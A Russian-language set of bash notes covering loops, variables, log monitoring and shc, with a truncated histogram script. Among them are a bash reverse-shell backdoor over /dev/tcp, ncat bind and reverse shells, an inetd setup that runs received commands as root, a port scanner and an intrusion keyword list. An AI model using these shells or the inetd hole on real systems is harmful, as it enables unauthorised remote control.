Пример:
cut -d' ' -f1.10 access.log | bash summer.sh | bash histogram.sh

Скрипт отображение данных в виде гистограммы для старых систем и macos:

histogram_plain.sh
#!/bin/bash - 
#
# Описание:
# Создание горизонтальной гистограммы с указанным данными 
# Использование: ./histogram_plain
# Формата ввода: label value
declare -a RA_key RA_val
declare -i max ndx
max=0
maxbar=50
ndx=0
while read labl val
do
   RA_key[$ndx]=$labl
   RA_value[$ndx]=$val
   # сохранить наибольшее значение; для масштабирования
   (( val > max )) && max=$val
   let ndx++
done

# масштабировать и вывести
for ((j=0; j

Мониторинг журналов в режиме реального времени:

 
tail -f /var/log/apache2/access.log
tail -f /var/log/apache2/access.log | grep '10.0.0.152'
tail -f /var/log/apache2/access.log | egrep -i 'HTTP/.*" 404'

cd /var/log/apache2/
tail -f access.log | egrep --line-buffered 'HTTP/.*" 404' | cut -d' ' -f4-7

Обнаружение вторжения с помощью журнала apache2:

 

cat > ioc.txt << "EOF"
\.\./
etc/passwd
etc/shadow
cmd\.exe
/bin/sh
/bin/bash

EOF

../  -злоумышленник пытается выйти из текущего каталога рабочего каталога
/etc/passwd  и другие - пытается получить доступ к паролям системы
/sh  и другое - пытается вызвать программу 

tail -f /var/log/apache2/access.log | egrep -i -f ioc.txt
tail -f /va/log/apache2/access.log | egrep --line-buffered -i -f ioc.txt | tee -a interesting.txt



    

Сканер портов:

cat > scan.sh << "EOF" 
#!/bin/bash -
# Описание:
# Сканирование порта указанного хоста
# Использование:
# ./scan.sh  
#  - файл, куда сохраняется результат
# ./scan.sh save.log 
# 192.168.0.1 - вводим адрес
# ctrl + c 
# cat save.log

function scan()
{
   host=$1
   printf '%s' "$host"
   for ((port=1;port<1024;port++))
   do
     echo >/dev/null 2>&1 < /dev/tcp/${host}/${port}
     if (($? == 0)) ; then printf ' %d' "${port}" ; fi
   done
   echo # или вывести '\n'
}

# основной цикл
printf -v TODAY 'scan_%(%F)T' -1 # например scan_2025-12-30
OUTFILE=${1:-$TODAY}

while read HOSTNAME
do
   scan $HOSTNAME
done > $OUTFILE



EOF

Сравнение файлов:

sdiff  - сравнивает два файла
-a - рассматривать все файлы как текстовые
-i - игнорировать регистр
-s - удалять общие строки для двух файлов
-w - определить максимальное кол-во символов для вывода в троке

sdiff -s file1.txt file2.txt


curl:

curl
-A - для отправки на сервер указать строку агента пользователя HTTP
-d - данные для отправки с запросом HTTP POST
-G - использовать для отправки данных запрос HTTP GET, а не POST
-I - получить только заголовок протокола (HTTP, FTP)
-L - следовать за пере направлениями
-s - не показывать индикатор выполнения или сообщения об ошибках


curl https://google.com

Проверка сокращенной ссылки:
curl -ILs http://bitly.com/1k5eYPw | grep '^Location:'

xxd :

xdd - выводит на экран в двоичном или шестнадцатеричном формате
-b - отобразить файл с использованием двоичного, а не шестнадцатеричного формата
-l - вывести кол-во байт двоичного или шестнадцатеричного файла
-s - начать печать с позиции байта n

xdd -s 35 -l 50 somefile.txt

Разведка:

Просмотр вебсервера:
ftp 
-n - запретить авто вход на сервер
ftp -n 192.168.0.15
ftp 192.168.0.15
ftp 192.168.0.15 60


Просмотр веб сайта:
curl -L -o output.html https://www.oreilly.com
curl -LI https://www.oreilly.com
curl -LIs https://www.oreilly.com | grep '200 OK'

Копирование сайта себе:
wget -p -m -k -P ./mirror https://digadel.com

Самый простой способ перехватить баннер с SMTP сервера:
telnet 192.168.0.15 25



nc :

nc
-l - прослушивать входящие подключения
-n - запретить выполнение поиска dns
-p - задать исходный порт для подключения и прослушивания
-v - установить подробный режим

Подключение:
nc www.oreilly.com 80

Прослушивания:
nc -l -v -n -p 8080


Обратный SSH :

ssh -R 12345:localhost:22 user@remoteip
ssh localhost -p 12345

Бэкдор баш:

/bin/bash -i < /dev/tcp/192.168.0.15/8080 1>&0 2>&0
Здесь:
/bin/bash -i - интерактивный режим баша
< /dev/tcp/192.168.0.15/8080 - Это создает TCP-соединение с системой злоумышленника по адресу 192.168.0.15,
порт 8080 и перенаправляет его в качестве ввода в новой экземпляр баш.
1>&0 2>&0 - здесь происходит перенаправление стандартного вывода (stdout)(файловый дескриптор 1) и стандартного
потока ввода (stdin)(дескриптор файла 0)


В системе злоумышленника должен слушаться порт 8080
nc -l -v -p 8080

Рубрики
bash

shc / bash script / bin

Инфо:

SHC – это компилятор оболочки скрипта.


http://www.datsi.fi.upm.es/~frosal/sources/
https://github.com/neurobin/shc
https://pkg.go.dev/github.com/tianluanchen/go-shc
https://pkg.go.dev/github.com/tianluanchen/go-shc/shc

Сборка:

0.
cd /opt
wget http://www.datsi.fi.upm.es/~frosal/sources/shc-3.8.9.tgz
tar xvfz shc-3.8.9.tgz
cd shc-3.8.9
make

Проверяем:
./shc -v 

1. Для изменения директории установки нужно отредактировать makefile
vim makefile

2. Для установки в систему
make install

Пример:

0. Создаем файл
./shc -f random.sh

random.sh – это оригинальный незашифрованный скрипт
random.sh.x – зашифрованный скрипт оболочки в двоичном формате
random.sh.x.c является исходным кодом C файла random.sh. 
Этот исходный код C скомпилирован для создания вышеупомянутого зашифрованного файла random.sh.x.
Вся логика shc заключается в том, чтобы преобразовать скрипт shell.sh в программу random.sh.x.c C (и, конечно же, скомпилировать это для генерации исполняемого файла random.sh.x)


1. Указание даты истечения срока действия для скрипта вашей оболочки
./shc -e 31/12/2011 -f random.sh


2. Описание параметров:
-e и -m (для истечения срока действия), вы также можете использовать следующие параметры
-r будет ослаблять безопасность для создания распределяемого двоичного файла, который выполняется на других системах, 
   которые работают с той же операционной системой, что и та, на которой он был скомпилирован.
-T позволит создавать созданные двоичные файлы с помощью таких программ, как strace, ltrace и т. д.
-v для подробностей
-o  куда сгенерировать
Как правило, вы можете использовать оба параметра -r и -T для создания распространяемого и прослеживаемого shell-скрипта оболочки.

3. Чаще всего используют с ключами rvf и о
shc -vrf script.sh -o script  - в последней версии нету -o
shc -vrTf script.sh  - будет создан файл script.sh.x
Рубрики
bash

bash / while / until / for / if / цыклы

Синтаксис и примеры for:


Пример for в файле:
for variable in list
do
    commands
done

Пример for в командной строке:
for variable in list ; do commands ; done

Пример использования for в командной строке:
$ ls
filemgr.png  terminal.png
$ for f in *.png ; do mv $f screenshot-$f ; done
$ ls
screenshot-filemgr.png  screenshot-terminal.png

Синтаксис и примеры if:


Пример if в файле:
if test
then
    commands
fi

Пример if в файле:
if test
then
    commands
else
    commands
fi

Синтаксис и примеры if: 
if test
then
    commands
elif test2
then
    commands
elif test3
then
    commands
else
    commands
fi

Пример использования if в командной строке:
$ ls
datafile  emptyfile
$ if [ ! -s datafile ] ; then echo "empty" ; fi
$ if [ ! -s emptyfile ] ; then echo "empty" ; fi
empty

Циклы until:

Единственное отличие между циклами while и unti 1 заключается в том, что условие формулируется с противоположной логикой. 
Следующая команда эквивалентна вышеуказанному циклу while. При этом для формулировки условия i > 5 применяется оператор -gt (больше).
i=1; until [ $i  -gt 5 ]; do echo $i;  i=$[$i+1]; done

Циклы while:

В следующем примере переменной i присваивается значение 1. 
Потом значение переменной, находящейся в теле цикла между do и done, при каждом выполнении цикла увеличивается на 1, пока не будет превышено значение 5. 
Обратите внимание, что условия должны указываться в квадратных скобках, как это делалось с условными переходами if, с командой test или с ее сокращенным вариантом.

Пример 0:

i=1; while [ $i -le 5 ]; do echo $i; i=$[$i+1]; done

Пример 1:

Следующий цикл обрабатывает все имена файлов, получаемые после выполнения команды ls *. jpg:
ls *.txt | while read file ; do echo "$file" ; done

Пример 2:

Следующий цикл обрабатывает все имена файлов, проходит по каждому файлу и печатает содержимое файла.
ls *.txt | while read file ; do echo "n ### n ### t $file n ###" && cat "$file" ; done

Бесконечный цикл while:

#!/bin/bash
while :
do
	echo "Press [CTRL+C] to stop.."
	sleep 1
done

Бесконечный цикл while:

#!/bin/bash
while true
do
	echo "Press [CTRL+C] to stop.."
	sleep 1
done

Бесконечный цикл показывать время каждую секунду

#!/bin/bash
while :;do clear ;date ;sleep 1;done

Бесконечный цикл меню while:

 
#!/bin/bash
# Purpose: Display various options to operator using menus
# Author: Vivek Gite < vivek @ nixcraft . com > under GPL v2.0+
# ---------------------------------------------------------------------------
# capture CTRL+C, CTRL+Z and quit singles using the trap
trap '' SIGINT
trap ''  SIGQUIT
trap '' SIGTSTP
 
# display message and pause 
pause(){
	local m="$@"
	echo "$m"
	read -p "Press [Enter] key to continue..." key
}
 
# set an 
while :
do
	# show menu
	clear
	echo "---------------------------------"
	echo "	     M A I N - M E N U"
	echo "---------------------------------"
	echo "1. Show current date/time"
	echo "2. Show what users are doing"
	echo "3. Show top memory & cpu eating process"
	echo "4. Show network stats"
	echo "5. Exit"
	echo "---------------------------------"
	read -r -p "Enter your choice [1-5] : " c
	# take action
	case $c in
		1) pause "$(date)";;
		2) w| less;;
		3) echo '*** Top 10 Memory eating process:'; ps -auxf | sort -nr -k 4 | head -10;
		   echo; echo '*** Top 10 CPU eating process:';ps -auxf | sort -nr -k 3 | head -10;
		   echo;  pause;;
		4) netstat -s | less;;
		5) break;;
		*) Pause "Select between 1 to 5 only"
	esac
done

For-циклы:

Циклы в bash создаются с помощью трех команд. Команда for осуществляет цикл со всеми элементами указанного списка. 
Команда while выполняет цикл до тех пор, пока указанное условие не перестанет выполняться. 
Команда until, наоборот, осуществляет цикл до тех пор, пока указанное условие не будет выполнено. 
Все три цикла можно досрочно завершить командой break. 
Команда continue пропускает оставшуюся часть тела цикла и запускает цикл заново.
В первом примере переменной i по очереди присваиваются последовательности символов a, b и с. 
В теле цикла между do и done выводится содержимое переменной. 
Обратите внимание, что в конце списка, а также в конце команды echo необходимо поставить точку с запятой. 
Отказаться от этих точек с запятой можно лишь тогда, когда ввод разделен на несколько строк (часто такое случается в сценарных файлах).

Список для for может быть построен с использованием джокерных символов для имен файлов или с использованием конструкций вида {..}, 
с помощью которых создаются последовательности символов. 

(В Linux/UNIX тильда (~) в конце имени файла обычно означает резервную копию. 
При работе с командой ср выражение $file всякий раз ставится в кавычках, 
чтобы имена файлов, содержащие пробелы, обрабатывались правильно.)

Если циклы for создаются без in ..., то переменные циклов получают по порядку все параметры, 
переданные при вызове (то есть это соответствует in $*). Похож на цикл case.
Но когда в примере с case передаются имена файлов, содержащие пробелы, без проблем не обходится. 
Bash интерпретирует пробелы как разделительные знаки и обрабатывает части имени файла отдельно. 

Пример 0 (консоль) for:

for i in a b с; do echo $i; done 

Пример 0 (скрипт) for:

#! /bin/sh
for i in a b c; do 
 echo $i 
done

Пример 1 (консоль(все файлы *. tex копируются в *.tex~.)) for:

for file in *.tex; do cp "$file" "$file~"; done

Пример 2 for:

#!/bin/bash
# Цикл проходит через все
# правильно справляется с пробелами в именах файлов
for i in "$@"; do 
 ls -l  "$i" 
done

Пример 3 for:

Выполняется команда ls и формируется список из файлов, дальше выводит содержимое файлов и каждый вывод отделается пустыми строками с #### и именем файла
for i in `ls` ;do echo -e "n#### $i n" && cat $i ;done 

Генерация списков и чисел for:

for((i=1; i< 255; i++));do echo $i; done - генерируем число от 1 до 255 и выводим на экран

echo $(( RANDOM % (10 - 5 + 1 ) + 5 ))

seq -w 1 10000000000

Еще примеры for:

# ping 
for ipz in $(for((i=1; i< 255; i++));do echo $i; done) ; do echo 192.168.15.$ipz >> ip_files.txt ; done

# ping 
for pingz in $(cut ip_files.txt); do ping -c1  $pingz ; done

# cut file
for user in $(cut -d':' -f1 /etc/passwd); do crontab -u $user -l; done

# sed edit file
for i in file1 file2 file3 ; do sed -i 's/123456/abvgd/g' /home/user/$i; done

# grep -R vnc /kvm/$(hostname -s)/*.xml | egrep -o "port='[0-9]+'" | sed -e "s/'//g" | awk -F"port=" '{print $2}' | sort -n

# openwrt hostname???
for i in `cat hosts.txt | tail -n 35 | grep -v "#"`; do echo " #### server IP = $i ###" && ssh root@$i uci get  system.@system[0].hostname; done

# parse MAC
for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do ssh $i ip a | grep ether | awk '{print $2}' && echo ; done

# parse MAC print host
for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do ssh $i uci get  system.@system[0].hostname && ip a | grep ether | awk '{print $2}' && echo ; done

##parse maccc
for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do ssh $i fdddd="`uci get  system.@system[0].hostname`" && echo $fdddd  && ip a | grep ether | awk '{print $2}' && echo ; done

#scp file
for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do scp bat-hosts root@$i:/etc/bat-hosts; done

#scp nameserver 192.168.1.1
for i in `cat hosts.txt.ssh`; do scp resolv.conf ${i}:/etc/resolv.conf; done

#test scp resolv.conf
for i in `cat hosts.txt.ssh`; do ssh $i cat  /etc/resolv.conf; done

#rm files
for f in log.* ; do if [ ! -s $f ] ; then rm -v $f ; fi ; done
Рубрики
bash

bash проверить успешность выполнения команды в bash

Выполняем следующую команду в случае выполнения первой команды:

## В этот нам помогает &&
apt update && sudo apt upgrade -y

Успешность выполнения команды:

Каждая команда, выполняемая в оболочке bash, возвращает значение, которое хранится в переменной bash «$?». 
Чтобы получить значение, запустите эту команду.
Если команда выполнена успешно, возвращаемое значение будет 0. 
Если возвращаемое значение иное, значит, она не выполнилась должным образом.

Пример применения в скрипте:

#!/bin/bash
YOU_COMMAND
if [ $? -eq 0 ]; then
echo OK
else
echo FAIL
fi

Пример применения и использования:

 && echo SUCCESS || echo FAIL
Здесь команда разделена на две части символом «||».
Если первая команда выполняется успешно, должна выполняться первая команда echo. 
В противном случае будет запущена вторая команда echo. Давайте проверим это на примере.
apt update && echo SUCCESS || echo FAIL

Еще один пример скрипта:

#!/bin/bash
if YOU_COMMAND; then
echo “Success”
else
echo “Failure, exit status: $?”
fi
Рубрики
bash

bash scripts

link:

https://www.opennet.ru/docs/RUS/bash_scripting_guide/c118.html

1.

Напишите сценарий, который выводит дату, время, список зарегистрировавшихся пользователей, и uptime системы и сохраняет эту информацию в системном журнале.

тупо:
cat > 1.sh << "EOF"
#!/bin/bash
#set -x
LOG="log.txt"
echo "Текущая дата:" >> $LOG
date >>  $LOG
echo "" >> $LOG
echo "Пользователи в системе:" >>$LOG
w >> $LOG
echo "" >> $LOG
echo "Нагрузка на систему:" >> $LOG
uptime >> $LOG
echo "" >> $LOG
EOF


доработаем:
cat > 1m.sh << "EOF"
#!/bin/bash
#set -x
LOG="log.txt"

i=zero
for i in date w uptime; do
if [[ "$i" == "date" ]]; then
    echo "Текущая дата:" >> $LOG
    $i >>  $LOG
elif [[ "$i" == "w" ]]; then
    echo "Пользователи в системе:" >>$LOG
    $i >>  $LOG
elif [[ "$i" == "uptime" ]]; then
    echo "Нагрузка на систему:" >> $LOG  
    $i >>  $LOG
fi    
done
EOF

Доработаем еще:
cat > 1mm.sh << "EOF"
#!/bin/bash
#set -x
LOG="log.txt"

# Определяем заголовки как переменные
date_header="Текущая дата:"
w_header="Пользователи в системе:"
uptime_header="Нагрузка на систему:"

# Очищаем лог перед записью
###> "$LOG"

for command in date w uptime; do
    # Получаем имя заголовка динамически
    header_var="${command}_header"
    
    # Выводим заголовок
    echo "${!header_var}" >> "$LOG"
    
    # Выполняем команду
    $command >> "$LOG"
done
EOF


Доработаем еще и еще:
cat > 1mmm.sh << "EOF"
#!/bin/bash
LOG="log.txt"
#> "$LOG"

declare -A headers=(
    [date]="Текущая дата:"
    [w]="Пользователи в системе:"
    [uptime]="Нагрузка на систему:"
)

for cmd in date w uptime; do
    echo "" >> "$LOG"
    echo "${headers[$cmd]}" >> "$LOG"
    $cmd >> "$LOG"
done
EOF

Специальное назначение некоторых экранированных символов используемых совместно с echo и sed:

\n перевод строки (новая строка)
\r перевод каретки
\t табуляция
\v вертикальная табуляция
\b забой (backspace)
\a "звонок" (сигнал)
\0xx ASCII-символ с кодом 0xx в восьмеричном виде)

завершение / код завершения

echo hello
echo $?    # код возврата = 0, поскольку команда выполнилась успешно.
lskdf      # Несуществующая команда.
echo $?    # Ненулевой код возврата, поскольку команду выполнить не удалось.
echo
exit 113   # Явное указание кода возврата 113.
           # Проверить можно, если набрать в командной строке "echo $?"
           # после выполнения этого примера.
#  В соответствии с соглашениями, 'exit 0' указывает на успешное завершение,
#+ в то время как ненулевое значение означает ошибку.


Использование символа ! для логической инверсии кода возврата:

true  # встроенная команда "true".
echo "код возврата команды \"true\" = $?"     # 0
! true
echo "код возврата команды \"! true\" = $?"   # 1
# Обратите внимание: символ "!" от команды необходимо отделять пробелом.
#    !true   вызовет сообщение об ошибке "command not found

Операции проверки файлов:

Возвращает true если...
-e файл существует
-f обычный файл (не каталог и не файл устройства)
-s ненулевой размер файла
-d файл является каталогом
-b файл является блочным устройством (floppy, cdrom и т.п.)
-c файл является символьным устройством (клавиатура, модем, звуковая карта и т.п.)
-p файл является каналом
-h файл является символической ссылкой
-L файл является символической ссылкой
-S файл является сокетом
-t файл (дескриптор) связан с терминальным устройством
   Этот ключ может использоваться для проверки -- является ли файл стандартным устройством ввода stdin ([ -t 0 ]) или стандартным устройством вывода stdout ([ -t 1 ]).
-r файл доступен для чтения (пользователю, запустившему сценарий)
-w файл доступен для записи (пользователю, запустившему сценарий)
-x файл доступен для исполнения (пользователю, запустившему сценарий)

-g
  set-group-id (sgid) флаг для файла или каталога установлен
  Если для каталога установлен флаг sgid, то файлы, создаваемые в таком каталоге, наследуют идентификатор группы каталога, 
  который может не совпадать с идентификатором группы, 
  к которой принадлежит пользователь, создавший файл. Это может быть полезно для каталогов, в которых хранятся файлы, 
  общедоступные для группы пользователей.

-u
   set-user-id (suid) флаг для файла установлен
   Установленный флаг suid приводит к изменению привилегий запущенного процесса на привилегии владельца исполняемого файла. 
   Исполняемые файлы, владельцем которых является root, с установленным флагом set-user-id запускаются с привилегиями root, даже если их запускает обычный пользователь. 
   [1] Это может оказаться полезным для некоторых программ (таких как pppd и cdrecord), которые осуществляют доступ к аппаратной части компьютера. 
   В случае отсутствия флага suid, программы не смогут быть запущены рядовым пользователем, не обладающим привилегиями root.
                -rwsr-xr-t    1 root       178236 Oct  2  2000 /usr/sbin/pppd
   Файл с установленным флагом suid отображается с включенным флагом s в поле прав доступа.

-k 
   флаг sticky bit (бит фиксации) установлен
   Общеизвестно, что флаг "sticky bit" -- это специальный тип прав доступа к файлам. 
   Программы с установленным флагом "sticky bit" остаются в системном кэше после своего завершения, обеспечивая тем самым более быстрый запуск программы. 
   [2] Если флаг установлен для каталога, то это приводит к ограничению прав на запись. Установленный флаг "sticky bit" отображается в виде символа t в поле прав доступа.
                 drwxrwxrwt    7 root         1024 May 19 21:26 tmp/
    Если пользователь не является владельцем каталога, с установленным "sticky bit", но имеет право на запись в каталог, 
    то он может удалять только те файлы в каталоге, владельцем которых он является. 
    Это предотвращает удаление и перезапись "чужих" файлов в общедоступных каталогах, таких как /tmp.

-O  вы являетесь владельцем файла
-G  вы принадлежите к той же группе, что и файл
-N  файл был модифицирован с момента последнего чтения
f1 -nt f2 файл f1 более новый, чем f2
f1 -ot f2 файл f1 более старый, чем f2
f1 -ef f2 файлы f1 и f2 являются "жесткими" ссылками на один и тот же файл

! "НЕ" -- логическое отрицание (инверсия) результатов всех вышеприведенных проверок (возвращается true если условие отсутствует).


[ $# -eq 0 ] && directorys=`pwd` || directorys=$@

Операции сравнения:

Сравнение целых чисел:
-eq равно
    if [ "$a" -eq "$b" ]

-ne не равно
    if [ "$a" -ne "$b" ]

-gt больше
    if [ "$a" -gt "$b" ]

-ge больше или равно
    if [ "$a" -ge "$b" ]

-lt меньше
    if [ "$a" -lt "$b" ]

-le меньше или равно
    if [ "$a" -le "$b" ]

< меньше (внутри двойных круглых скобок )
    (("$a" < "$b"))

<= меньше или равно (внутри двойных круглых скобок)
    (("$a" <= "$b"))

> больше (внутри двойных круглых скобок)
    (("$a" > "$b"))

>= больше или равно (внутри двойных круглых скобок)
    (("$a" >= "$b"))


Сравнение строк:
= равно
   if [ "$a" = "$b" ]

== равно
   if [ "$a" == "$b" ]

Синоним оператора =.
    [[ $a == z* ]]    # истина, если $a начинается с символа "z" (сравнение по шаблону)
    [[ $a == "z*" ]]  # истина, если $a равна z*
    [ $a == z* ]      # имеют место подстановка имен файлов и разбиение на слова
    [ "$a" == "z*" ]  # истина, если $a равна z*

!= не равно
    if [ "$a" != "$b" ]

Этот оператор используется при поиске по шаблону внутри [[ ... ]].

< меньше, в смысле величины ASCII-кодов
    if [[ "$a" < "$b" ]]
    if [ "$a" \< "$b" ]
    Обратите внимание! Символ "<" необходимо экранировать внутри [ ].

> больше, в смысле величины ASCII-кодов
    if [[ "$a" > "$b" ]]
    if [ "$a" \> "$b" ]
Обратите внимание! Символ ">" необходимо экранировать внутри [ ].
См. Пример 25-6 относительно применения этого оператора сравнения.

-z строка "пустая", т.е. имеет нулевую длину
-n строка не "пустая".
Рубрики
bash

watch / наблюдение за командой и запись в файл

!!! так работать не будет. в файл будет записан мусор самой команды watch
watch -n 0.5  batctl o | tee -a log.txt

Правильно использовать кавычки:
watch -n 0.5  "batctl o | tee -a log.txt"
Рубрики
bash Конспект разное

Конспект: sh / bash

Переменные:

Принципы:

EDITOR=nano crontab -e

export http_proxy=http://ya.ru:3128 - объявляем глобальную переменную
wget http://что_то_скачать - пытаемся воспользоваться wget


Показать переменные:
set - показывает все переменные окружения
env - показывает переменные помеченные как экспортируемые

Можно увидеть в настройках:
login, sshd, telnetd,  ~/.profile,  ~/.cshrc и в других файлах.
Переменные: HOME, SHELL, PATH, TERM. LOGNAME, USER, EDITOR, ENV и т.д.


Примеры \ присвоения переменной:

0. Переменную распознает программа  
1. Переменную распознает шелл

Пример как присваивается переменная:
a=HEllo
set | grep '^a'

export a
env | grep '^a'

dir=/bin
ls -l $dir

echo $a

a=pwd
$a

Примеры с кавычками:
Различие между кавычками
В одинарных кавычках содержимое выводится как есть.
В двойных кавычках переменные исполняются.

a='Hello World'
echo $a

a="Hello World"
echo $a

Обходимся без кавычек, экранирование пробела с помощь слеша:
a=Hello\ World
echo $a

Примеры подстановки переменной:
a="Hello"
b=$a
echo $b

Пример с подстановкой переменно и работы одинарной кавычки
Одинарные кавычки всегда передают значение как есть, то есть шелл проигнорирует переменную.
b='$a World'
echo $b

Пример а если мы всё-таки хотим передать переменную:
На помощь приходят двойные кавычки:
b="$a World"
echo $b

Экранирование(слеш):
Слеш отменяет действие многих спец символов.
b=$a\ world
echo $b

b=\$a\ World
echo $b

b=$aWorld
echo $b

b=${a}World
echo $a
echo $b

Значения переменных рекомендуется брать в фигурные скобки.
b=${a}World
echo $a
echo $b

Арифметика

!!! шелл оперирует переменными окружениями
!!! Арифметики не будет при таких записях:
a=3+6
echo $a

a=222
b=333

c=${a}${b}
echo $c

c=${a}+${b}
echo $c

!!! Арифметике быть!
Для арифметических действий используется конструкция из скобок $(( выражение ))
a=$((3+6))
a=$(($a*6))

А если сделать вот так:
c=((${a}+${b}))
c=$((${a}+${b}))
echo $c

Программа для арифметики expr:
a=1
a=$(expr $a + 1)
echo $a

Применение переменных с программами:

` - обратный апостроф ( не путать с одинарной кавычкой)
` - служит для выполнения команды

`команда` - выполнится команда внутри апострофов
$(команда) - ведет себя аналогично при использовании обратного апострофа (`)

dir='pwd'
echo $dir

d=$(date)
echo $d

x=`date '+%Y.%m.%d'`
echo $x

z=$(date '+%Y.%m.%d')
echo $z

c=`ps -uaxf | grep sshd |grep -v grep`
echo $c


сгенерировать случайное число
rnd=`jot -r 1 1 10`

Сгенерировать число от 1 до 10 
gen10=`seq 10`
echo $gen10

filecount=`ls/bin | wc -l`
echo $filecount


Ввод пользователя

Программа read, ожидает ввода пользователя и сохраняет в переменную
read a
echo $a

Пример использования:
echo -n "Enter Name: "; read a; echo Hello "$a"


Подстановки в файл:

Речь идет о спец символах * ? и т.д.

echo /bin/c* - покажет все файлы начинающиеся на c

cat - можно редактировать и смотреть файлы (при использовании <>)

file - команда позволяет определить тип файла, что бы случайно не открыть бинарный файл

Чтение переменных с исключением

0. Пример исключаем суффикс sample при выводе переменной i
i=sip.conf.sample

echo $i
echo ${i}
echo ${i%.sample}

1. Пример исключить (GET /) при выводе переменной i
i='GET /index.html'
echo ${i#GET /}

Удаление переменной

unset CLICOLOR
unset EDITOR
unset http_proxy

Объединение команд (;)

echo -n "Enter Name: "; read a; echo Hello "$a"
sleep 3; echo -e "\007"

Последовательные команды в текстовом файле


Пример файла:
vim 1.txt
---------
echo -n "Enter Name: "
read p
echo Hello "$p"
---------

Пример выполнения 1:
sh 1.txt - запасаем новый шелл и выполняем файл 1.txt

Пример выполнения 2:
. 1.txt - точка говорит выполнить в текущем контексте шелла файл 1.txt


Последовательные команды в выполняемом файле


Пример файла f2.sh:
-------------
#!/bin/sh
echo -n "Enter Name: "
read p
echo Hello "$p !!!"
-------------

Выполнение:
chmod u+x f2.sh - даем права на выполнения файла

f2.sh - выполняем файл при условии если он расположен в PATH

/home/user/f2.sh
./f2.sh


sh f2.sh
. f2.sh

Функции:

function ()

Специальные символы

$? - коды возврата

[ - это программа сравнения, и если выполнить (which [) мы увидим что программа называется test и она возвращает 1 или 0, код возврата можно увидеть по echo $?
man [
test 6 -lt 3
echo $?


$1 - аргумент запуска программы 
$2 - аргумент запуска программы
$3  - аргумент запуска программы

Пример работы:
agr.sh - создаем скрипт
--------------
echo $2 $3 $1
--------------

Ну и проверяем: 
. agr.sh aaa bbb ccc

&& - если программа этого символом && выполнилась успешно выполняй следующую после этого символа &&


#  - комментарий


Операторы равенства:
eq  равно (=) (Equals)
ne  не равно (!=) (Not equal)

Операторы диапазона:
gt больше (>) (Greater than)
lt меньше (<) (Less than)
ge больше или равно (=>) (Equal or greater than)
le меньше или равно (=<) (Equal or less than)


Во многих языках программирования двоеточие (:) означает истина (True) и возвращает 0

Задать символ разделитель с помощью IFS
IFS=:

Целочисленный цикл while пример на ping


0. Пример в файле ex2.sh:
---------------
# Пример цикла выполнять до
i=1
while [ $i -lt 254 ]
do
  #test $i = 50 && continue 
  ping -c 1 -W 1 $1.$i > /dev/null 2>&1 && echo $1.$i
  i=$(($i + 1))
done

---------------
Запуск:
ex2.sh 192.168.1



1. Пример в файле ex3.sh:
---------------
# Пример цикла выполнять до
i=1
while :
do
  ping -c 1 -W 1 $1.$i > /dev/null 2>&1 && echo $1.$i
  i=$(($i + 1))
  test $i -eq 254 && break # прервет цикл
done
---------------

Примеры цикла for:

Пример показать все файлы заканчивающийся на (*.txt) :
for i in *.txt; do echo $i; done

Пример массового переименования:
for in in *sample; do cp $i ${i%.sample}; done

Пример что бы показать что списком может быть что угодно: 
for i in `ps -aux | awk '{print $1,$11}'`; do echo $i; done

Пример создаем пустые файлы *.txt:
for i in 1 2 3 4 5 6 7 8 9 10; do touch $i.txt; done

Пример создаем пустые файлы *.txt:
for i in 1 2 3 4 5 6 7 8 9 10; do touch $i.txt; done

Пример создаем пустые файлы *.txt:
for i in $(for((i=1; i<11; i++)) do echo $i; done); do echo > $i.txt; done

Пример создания списка ip:
for ipz in $(for((i=1; i< 255; i++));do echo $i; done) ; do echo 192.168.15.$ipz >> ip_files.txt ; done

Пример использования списка ip и применения команды ping:
for pingz in $(cut ip_files.txt); do ping -c1  $pingz ; done

Пример как показать все crontab всех пользователей: 
for user in $(cut -d':' -f1 /etc/passwd); do crontab -u $user -l; done

Пример вытаскиваем первое поле из файла и подставляем перед ним user:
for i in `cut -d: -f1 /etc/passwd`; do echo user $i; done

Пример перемещения файлов используя список:
for x in catalog director messages user fileset client job jobdefs pool schedule storage use; do  mv /etc/bareos/bareos-dir.d/${x} tmp/bareos-dir.d/; done

Чтение из файлов, парсинг файлов, while, for:

Пример использования IFS, перенаправления в read
------------------------
#!/bin/sh
IFS=:
while read a b c d e f g
do 
   echo "$a $g"
done < /etc/passwd
------------------------



Пример с использованием for
------------------------
#!/bin/sh
for i in `cut -d: -f1 /etc/passwd`
do
  echo user $i
done
------------------------

Пример for, while

!!! ls создается список файлов
!!! echo и cat, на stdout выводится список файлов и показывается содержимое файла 
Пример 1:
for i in `ls` ; do echo -e "\\n#### $i \\n" && cat $i ; done 
Пример 2:
ls * | while read file ; do echo "$file" && cat "$file" ; done

Пример (while read LINE), удаление файлов:

!!!find /dir/dir2/dir3 -type f -mtime +1 -name "*.broken" -delete >/dev/null 2>/dev/null - ищем файлы в каталоге (/dir/dir2/dir3) в имени которых встречается "*.broken" и молча их удаляем (>/dev/null 2>/dev/null) 
!!!find /dir/dir2/ -mindepth 1 -maxdepth 1 -ctime +5 -type d -delete - ищем каталоги в  каталоге (/dir/dir2/) старше 5 дней и удаляем их


Пример скрипта:
/usr/bin/find /dir/dir2/dir3 -mindepth 1 -maxdepth 1 -ctime +2 -type d | sort -n | head -n-3 | while read LINE; do
    echo "[/dir1/dir2/dir3] ${LINE}"
    rm -rf "${LINE}"
done

Пример дыры в безопасности:

!!! для работы понадобится openbsd-inetd (суперсервер inetd)
!!! настроить его
!!! номер_порта stream tcp nowait имя_пользователя /путь_скрипта имя_скрипта
!!! 1234 stream tcp nowait root /root/cmd.sh smd.sh 

vim cmd.sh
----------------
#!/bin/sh
while read cmd
do 
$cmd
done
----------------



В Ncat
Для создания шелла на удалённом компьютере:
ncat -l -e "/bin/bash" [ПОРТ]
Для подключения к нему с локального компьютера:
ncat [IP] [ПОРТ]

Перед созданием обратного шелла, предварительно на локальном компьютере нужно выполнить:
ncat -l [ПОРТ]
Затем для создания обратного шелла с удалённого компьютера там нужно выполнить:
ncat -e "/bin/bash" [IP] [ПОРТ]
Рубрики
bash

bash Массивы

Кроме обычных переменных, bash также различает массивы. 
Вплоть до версии 3 индекс должен был быть числом. 
Обратите внимание, что синтаксис для доступа к n-ному элементу отличается от синтаксиса, принятого в С.
х=()- Определение пустого массива
х[0]='а' -  Присваивание элементов массива
х[1]='Ь' -  Присваивание элементов массива
х[2]='с' -  Присваивание элементов массива
